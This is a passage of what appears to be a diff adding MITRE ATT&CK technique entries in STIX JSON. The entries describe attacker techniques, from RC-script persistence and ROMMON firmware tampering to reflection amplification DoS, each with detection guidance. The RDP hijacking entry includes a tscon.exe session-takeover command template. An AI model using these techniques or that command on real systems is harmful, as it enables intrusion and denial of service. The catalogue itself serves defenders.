+ "id": "attack-pattern--0a241b6c-7bb2-48f9-98f7-128145b4d27f", + "description": "Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.\n\nAdversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim\u2019s infrastructure.(Citation: ZDNET Selling Data) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1597/002", + "external_id": "T1597.002", + "source_name": "mitre-attack" + }, + { + "url": "https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/", + "description": "Cimpanu, C. (2020, May 9). A hacker group is selling more than 73 million user records on the dark web. Retrieved October 20, 2020.", + "source_name": "ZDNET Selling Data" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Python", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1059/006", + "external_id": "T1059.006", + "source_name": "mitre-attack" + } + ], + "x_mitre_data_sources": [ + "Command: Command Execution", + "Process: Process Creation" + ], + "x_mitre_version": "1.0", + "modified": "2021-07-26T22:49:23.094Z", + "x_mitre_system_requirements": [ + "Python is installed." + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "id": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM", + "root" + ], + "description": "Adversaries may abuse Python commands and scripts for execution. Python is a very popular scripting/programming language, with capabilities to perform many functions. Python can be executed interactively from the command-line (via the python.exe interpreter) or via scripts (.py) that can be written and distributed to different systems. Python code can also be compiled into binary executables.\n\nPython comes with many built-in packages to interact with the underlying system, such as file operations and device I/O. Adversaries can use these libraries to download and execute commands or other scripts as well as perform various malicious behaviors.", + "x_mitre_remote_support": false, + "x_mitre_detection": "Monitor systems for abnormal Python usage and python.exe behavior, which could be an indicator of malicious activity. Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.", + "created": "2020-03-09T14:38:24.334Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Query Registry", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "Windows Registry: Windows Registry Key Access", + "Process: OS API Execution" + ], + "x_mitre_version": "1.2", + "modified": "2020-03-26T18:08:20.049Z", + "created": "2017-05-31T21:30:25.584Z", + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "description": "Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.\n\nThe Registry contains a significant amount of information about the operating system, configuration, software, and security.(Citation: Wikipedia Windows Registry) Information can easily be queried using the [Reg](https://attack.mitre.org/software/S0075) utility, though other means to access the Registry exist. Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from [Query Registry](https://attack.mitre.org/techniques/T1012) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nInteraction with the Windows Registry may come from the command line using utilities such as [Reg](https://attack.mitre.org/software/S0075) or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1012", + "external_id": "T1012", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/647.html", + "external_id": "CAPEC-647", + "source_name": "capec" + }, + { + "source_name": "Wikipedia Windows Registry", + "description": "Wikipedia. (n.d.). Windows Registry. Retrieved February 2, 2015.", + "url": "https://en.wikipedia.org/wiki/Windows_Registry" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "RC Scripts", + "x_mitre_data_sources": [ + "File: File Creation", + "File: File Modification", + "Process: Process Creation", + "Command: Command Execution" + ], + "x_mitre_version": "2.0", + "modified": "2021-04-27T19:58:01.927Z", + "created": "2020-01-15T16:25:22.260Z", + "x_mitre_permissions_required": [ + "root" + ], + "x_mitre_platforms": [ + "macOS", + "Linux" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211", + "description": "Adversaries may establish persistence by modifying RC scripts which are executed during a Unix-like system\u2019s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.\n\nAdversaries can establish persistence by adding a malicious binary path or shell commands to rc.local, rc.common, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence.\n\nAdversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as IoT or embedded systems.(Citation: intezer-kaiji-malware)\n\nSeveral Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of [Launchd](https://attack.mitre.org/techniques/T1053/004). (Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "x_mitre_detection": "Monitor for unexpected changes to RC scripts in the /etc/ directory. Monitor process execution resulting from RC scripts for unusual or unknown applications or behavior.\n\nMonitor for /etc/rc.local file creation. Although types of RC scripts vary for each Unix-like distribution, several execute /etc/rc.local if present. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1037/004", + "external_id": "T1037.004", + "source_name": "mitre-attack" + }, + { + "url": "https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/", + "description": "Iran Threats . (2017, December 5). Flying Kitten to Rocket Kitten, A Case of Ambiguity and Shared Code. Retrieved May 28, 2020.", + "source_name": "IranThreats Kittens Dec 2017" + }, + { + "source_name": "Intezer HiddenWasp Map 2019", + "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.", + "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/" + }, + { + "url": "https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/", + "description": "Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020.", + "source_name": "intezer-kaiji-malware" + }, + { + "url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html", + "description": "Apple. (2016, September 13). Daemons and Services Programming Guide - Creating Launch Daemons and Agents. Retrieved February 24, 2021.", + "source_name": "Apple Developer Doco Archive Launchd" + }, + { + "source_name": "Startup Items", + "description": "Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.", + "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html" + }, + { + "source_name": "Methods of Mac Malware Persistence", + "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + }, + { + "url": "http://manpages.ubuntu.com/manpages/bionic/man8/systemd-rc-local-generator.8.html", + "description": "Canonical Ltd.. (n.d.). systemd-rc-local-generator - Compatibility generator for starting /etc/rc.local and /usr/sbin/halt.local during boot and shutdown. Retrieved February 23, 2021.", + "source_name": "Ubuntu Manpage systemd rc" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "RDP Hijacking", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content", + "Logon Session: Logon Session Creation", + "Command: Command Execution", + "Process: Process Creation" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-23T23:24:39.182Z", + "created": "2020-02-25T18:35:42.765Z", + "x_mitre_permissions_required": [ + "SYSTEM" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c", + "description": "Adversaries may hijack a legitimate user\u2019s remote desktop session to move laterally within an environment. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)\n\nAdversaries may perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session. With System permissions and using Terminal Services Console, `c:\\windows\\system32\\tscon.exe [session number to be stolen]`, an adversary can hijack a session without the need for credentials or prompts to the user.(Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions.(Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.(Citation: Kali Redsnarf)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "x_mitre_detection": "Consider monitoring processes for `tscon.exe` usage and monitor service creation that uses `cmd.exe /k` or `cmd.exe /c` in its arguments to detect RDP session hijacking.\n\nUse of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1563/002", + "external_id": "T1563.002", + "source_name": "mitre-attack" + }, + { + "source_name": "TechNet Remote Desktop Services", + "description": "Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.", + "url": "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx" + }, + { + "source_name": "RDP Hijacking Korznikov", + "description": "Korznikov, A. (2017, March 17). Passwordless RDP Session Hijacking Feature All Windows versions. Retrieved December 11, 2017.", + "url": "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html" + }, + { + "source_name": "RDP Hijacking Medium", + "description": "Beaumont, K. (2017, March 19). RDP hijacking\u200a\u2014\u200ahow to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017.", + "url": "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6" + }, + { + "source_name": "Kali Redsnarf", + "description": "NCC Group PLC. (2016, November 1). Kali Redsnarf. Retrieved December 11, 2017.", + "url": "https://github.com/nccgroup/redsnarf" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-10-22T02:18:19.568Z", + "name": "ROMMONkit", + "x_mitre_data_sources": [ + "Firmware: Firmware Modification" + ], + "x_mitre_version": "1.0", + "created": "2020-10-20T00:05:48.790Z", + "x_mitre_permissions_required": [ + "Administrator" + ], + "x_mitre_platforms": [ + "Network" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--a6557c75-798f-42e4-be70-ab4502e0a3bc", + "description": "Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect. (Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks)\n\n\nROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. Similar to [TFTP Boot](https://attack.mitre.org/techniques/T1542/005), an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "x_mitre_detection": "There are no documented means for defenders to validate the operation of the ROMMON outside of vendor support. If a network device is suspected of being compromised, contact the vendor to assist in further investigation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1542/004", + "external_id": "T1542.004", + "source_name": "mitre-attack" + }, + { + "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices", + "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.", + "source_name": "Cisco Synful Knock Evolution" + }, + { + "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954", + "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.", + "source_name": "Cisco Blog Legacy Device Attacks" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-01-15T16:27:32.362Z", + "name": "Rc.common", + "created": "2017-12-14T16:46:06.044Z", + "id": "attack-pattern--18d4ab39-12ed-4a16-9fdb-ae311bba4a0f", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1163", + "external_id": "T1163", + "source_name": "mitre-attack" + }, + { + "source_name": "Startup Items", + "description": "Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.", + "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html" + }, + { + "source_name": "Methods of Mac Malware Persistence", + "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-01-24T18:26:18.933Z", + "name": "Re-opened Applications", + "created": "2017-12-14T16:46:06.044Z", + "id": "attack-pattern--6a3be63a-64c5-4678-a036-03ff8fc35300", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1164", + "external_id": "T1164", + "source_name": "mitre-attack" + }, + { + "source_name": "Methods of Mac Malware Persistence", + "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-01-24T19:51:37.795Z", + "name": "Re-opened Applications", + "x_mitre_data_sources": [ + "File: File Modification", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "created": "2020-01-24T18:15:06.641Z", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--e5cc9e7a-e61a-46a1-b869-55fb6eab058e", + "description": "Adversaries may modify plist files to automatically run an application when a user logs in. Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user logs into their machine after reboot. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at ~/Library/Preferences/com.apple.loginwindow.plist and ~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist. \n\nAn adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "x_mitre_detection": "Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1547/007", + "external_id": "T1547.007", + "source_name": "mitre-attack" + }, + { + "source_name": "Methods of Mac Malware Persistence", + "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Reduce Key Space", + "x_mitre_data_sources": [ + "File: File Modification" + ], + "x_mitre_version": "1.0", + "modified": "2020-10-21T22:36:22.369Z", + "created": "2020-10-19T19:03:48.310Z", + "x_mitre_permissions_required": [ + "Administrator" + ], + "x_mitre_platforms": [ + "Network" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--3a40f208-a9c1-4efa-a598-4003c3681fb8", + "description": "Adversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength of encrypted communications.(Citation: Cisco Synful Knock Evolution)\n\nAdversaries can weaken the encryption software on a compromised network device by reducing the key size used by the software to convert plaintext to ciphertext (e.g., from hundreds or thousands of bytes to just a couple of bytes). As a result, adversaries dramatically reduce the amount of effort needed to decrypt the protected information without the key.\n\nAdversaries may modify the key size used and other encryption parameters using specialized commands in a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) introduced to the system through [Modify System Image](https://attack.mitre.org/techniques/T1601) to change the configuration of the device. (Citation: Cisco Blog Legacy Device Attacks)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "There is no documented method for defenders to directly identify behaviors that reduce encryption key space. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601) and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008). Some detection methods require vendor support to aid in investigation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1600/001", + "external_id": "T1600.001", + "source_name": "mitre-attack" + }, + { + "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices", + "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.", + "source_name": "Cisco Synful Knock Evolution" + }, + { + "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954", + "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.", + "source_name": "Cisco Blog Legacy Device Attacks" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Redundant Access", + "x_mitre_version": "3.1", + "modified": "2021-03-08T10:33:00.985Z", + "created": "2017-05-31T21:31:18.867Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "x_mitre_deprecated": true, + "id": "attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a", + "x_mitre_defense_bypassed": [ + "Network intrusion detection system", + "Anti-virus" + ], + "x_mitre_platforms": [ + "Windows", + "Azure AD", + "Office 365", + "SaaS", + "IaaS", + "Linux", + "macOS" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ], + "description": "**This technique has been deprecated. Please use [Create Account](https://attack.mitre.org/techniques/T1136), [Web Shell](https://attack.mitre.org/techniques/T1505/003), and [External Remote Services](https://attack.mitre.org/techniques/T1133) where appropriate.**\n\nAdversaries may use more than one remote access tool with varying command and control protocols or credentialed access to remote services so they can maintain access if an access mechanism is detected or mitigated. \n\nIf one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use [External Remote Services](https://attack.mitre.org/techniques/T1133) such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network.(Citation: Mandiant APT1) Adversaries may also retain access through cloud-based infrastructure and applications.\n\nUse of a [Web Shell](https://attack.mitre.org/techniques/T1100) is one such way to maintain access to a network through an externally accessible Web server.", + "x_mitre_contributors": [ + "Praetorian" + ], + "x_mitre_detection": "Existing methods of detecting remote access tools are helpful. Backup remote access tools or other access points may not have established command and control channels open during an intrusion, so the volume of data transferred may not be as high as the primary channel unless access is lost.\n\nDetection of tools based on beacon traffic, Command and Control protocol, or adversary infrastructure require prior threat intelligence on tools, IP addresses, and/or domains the adversary may use, along with the ability to detect use at the network boundary. Prior knowledge of indicators of compromise may also help detect adversary tools at the endpoint if tools are available to scan for those indicators.\n\nIf an intrusion is in progress and sufficient endpoint data or decoded command and control traffic is collected, then defenders will likely be able to detect additional tools dropped as the adversary is conducting the operation.\n\nFor alternative access using externally accessible VPNs or remote services, follow detection recommendations under [Valid Accounts](https://attack.mitre.org/techniques/T1078) and [External Remote Services](https://attack.mitre.org/techniques/T1133) to collect account use information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1108", + "external_id": "T1108", + "source_name": "mitre-attack" + }, + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Reflection Amplification", + "x_mitre_data_sources": [ + "Sensor Health: Host Status", + "Network Traffic: Network Traffic Flow" + ], + "x_mitre_version": "1.2", + "modified": "2021-03-29T16:13:53.747Z", + "created": "2020-03-02T20:08:03.691Z", + "x_mitre_platforms": [ + "Windows", + "Azure AD", + "Office 365", + "SaaS", + "IaaS", + "Linux", + "macOS", + "Google Workspace" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--36b2a1d7-e09e-49bf-b45e-477076c2ec01", + "description": "Adversaries may attempt to cause a denial of service by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflector may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017)\n\nReflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018) In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_detection": "Detection of reflection amplification can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect a reflection amplification DoS event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1498/002", + "external_id": "T1498.002", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/490.html", + "external_id": "CAPEC-490", + "source_name": "capec" + }, + { + "url": "https://blog.cloudflare.com/reflections-on-reflections/", + "description": "Marek Majkowsk, Cloudflare. (2017, May 24). Reflections on reflection (attacks). Retrieved April 23, 2019.", + "source_name": "Cloudflare ReflectionDoS May 2017" + }, + { + "url": "https://www.cloudflare.com/learning/ddos/dns-amplification-ddos-attack/", + "description": "Cloudflare. (n.d.). What is a DNS amplification attack?. Retrieved April 23, 2019.", + "source_name": "Cloudflare DNSamplficationDoS" + }, + { + "url": "https://www.cloudflare.com/learning/ddos/ntp-amplification-ddos-attack/", + "description": "Cloudflare. (n.d.). What is a NTP amplificaiton attack?. Retrieved April 23, 2019.", + "source_name": "Cloudflare NTPamplifciationDoS" + }, + { + "url": "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf", + "description": "Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019.", + "source_name": "Arbor AnnualDoSreport Jan 2018" + }, + { + "url": "https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/", + "description": "Marek Majkowski of Cloudflare. (2018, February 27). Memcrashed - Major amplification attacks from UDP port 11211. Retrieved April 18, 2019.", + "source_name": "Cloudflare Memcrashed Feb 2018" + }, + { + "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf", + "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.", + "source_name": "Cisco DoSdetectNetflow" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Reflective Code Loading", + "x_mitre_data_sources": [ + "Script: Script Execution", + "Process: OS API Execution", + "Module: Module Load" + ], + "x_mitre_version": "1.0", + "modified": "2021-11-01T18:09:09.670Z", + "created": "2021-10-05T01:15:06.293Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a", + "x_mitre_defense_bypassed": [ + "Application control", + "Anti-virus" + ], + "x_mitre_platforms": [ + "macOS", + "Linux", + "Windows" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process 